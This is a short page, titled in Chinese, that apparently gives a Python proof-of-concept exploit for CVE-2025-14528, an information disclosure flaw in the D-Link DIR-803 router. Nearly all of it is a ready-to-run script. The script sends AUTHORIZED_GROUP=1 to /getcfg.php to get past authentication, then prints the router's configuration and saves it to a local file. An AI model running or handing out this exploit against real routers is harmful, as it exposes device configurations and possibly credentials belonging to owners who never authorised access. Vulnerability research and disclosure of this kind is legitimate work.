D-Link DIR-803路由器 /getcfg.php 信息泄露漏洞 (CVE-2025-14528)

import requests import sys def exploit_cve_2025_14528(target_ip): """ CVE-2025-14528 - D-Link DIR-803 Information Disclosure PoC for exploiting the AUTHORIZED_GROUP parameter in /getcfg.php """ url = f"http://{target_ip}/getcfg.php" # Malicious payload to bypass authentication params = { "AUTHORIZED_GROUP": "1" } headers = { "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64)", "Accept": "*/*" } try: print(f"[*] Sending exploit request to {url}") response = requests.get(url, params=params, headers=headers, timeout=10) if response.status_code == 200: print(f"[+] Success! Received {len(response.text)} bytes of data") print("\n[+] Configuration data:") print(response.text[:2000]) # Print first 2000 chars # Save full response to file with open(f"config_dump_{target_ip}.xml", "w") as f: f.write(response.text) print(f"\n[+] Full config saved to config_dump_{target_ip}.xml") else: print(f"[-] Request failed with status code: {response.status_code}") except requests.exceptions.RequestException as e: print(f"[-] Error: {e}") return False return True if __name__ == "__main__": if len(sys.argv) != 2: print(f"Usage: python {sys.argv[0]} <target_ip>") sys.exit(1) exploit_cve_2025_14528(sys.argv[1])